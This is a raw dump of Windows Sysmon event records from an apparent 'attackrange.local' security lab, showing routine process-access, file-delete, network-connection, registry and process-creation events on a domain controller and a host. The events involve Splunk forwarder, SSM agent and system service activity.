14:49:59.038{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000047152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:00.773{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=042F20549A6CDB95624D6E0073B1754C,SHA256=3A4C2AC21C84ACF14BDF3F7F25FEEB44F6E390D6D1CF61DC0445CE099DEDEBCD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014868Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:00.844{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5AAEF49A0B32FDEB279E2BE86F7D858,SHA256=06F41DE9C49A7868F620449B42D78DA5FF5F7690948C9F184674A68542D1F542,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014867Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:00.313{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-036MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:57.555{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59375-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000047150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:57.555{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59375-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 13241300x800000000000000047149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:50:00.023{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a653-0x21336a5f) 23542300x800000000000000014869Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:01.844{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B3FC654C103D1B3A256C30BF053B73B,SHA256=04F6565794689E46AC14E06A2B9E6784B18691DEF112C27CCD2CCD41C9A1283A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.320{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.14win-dc-387.attackrange.local123ntpfalse169.254.169.123-123ntp 354300x800000000000000047178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.476{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59376-false10.0.1.12-8000- 10341000x800000000000000047177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.101{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.101{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.101{7BD73061-6D0F-613B-9406-00000000F001}4480636C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.085{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.085{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44804600C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44804600C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44804600C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44804600C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.069{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=C274EBFFE285AADA9B1F13044F0A9394,SHA256=09A58EEAD31C15507FC57CF586C5B3D98287E3F67C9397084458D900E995BD18,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.054{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.054{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.054{7BD73061-7099-613B-0F0B-00000000F001}69925176C:\Windows\system32\conhost.exe{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-6D0F-613B-9406-00000000F001}44806284C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+1f9bca|C:\Windows\System32\windows.storage.dll+8e30a|C:\Windows\System32\windows.storage.dll+8e0c2|C:\Windows\System32\SHELL32.dll+3f8fd|C:\Windows\System32\SHELL32.dll+3e496|C:\Windows\System32\SHELL32.dll+80201|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+175660|C:\Windows\System32\SHELL32.dll+17c30c|C:\Windows\System32\SHELL32.dll+19ead8|C:\Windows\System32\SHELL32.dll+17c4a6|C:\Windows\system32\explorerframe.dll+13cf7b|C:\Windows\system32\explorerframe.dll+139d07 10341000x800000000000000047157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.007{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:00.991{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:01.000{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"cmd.exe" /s /k pushd "C:\Program Files\ansible\sysmon"C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 23542300x800000000000000014871Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:02.891{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FA279CEB3A065620DEB7225EFCC96CD,SHA256=D16DCBCE16FE0792238840647CE8AFA1C141252093EB3AEA6A8A809A89872A90,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:02.304{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B44CD7D99AD97860DAEFE5F4E5F9D81,SHA256=63C1A837B75C475E6F90F16FC09FB195F6F0D132E4DCEBF32E6FE25085C81DC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:02.304{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2B14B59828C55340171BB42792F0491A,SHA256=082D88A9DC2B19872E79D2B1689CE7F41BBB486415697546AADA4B48C88C06A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014870Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:02.234{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=3D90EB4EE195B6B3412F0952092655B5,SHA256=418BB47E5866E95342061120369B094DCD181C29BA0C8528A6AB5407C6935AB8,IMPHASH=00000000000000000000000000000000falsetrue 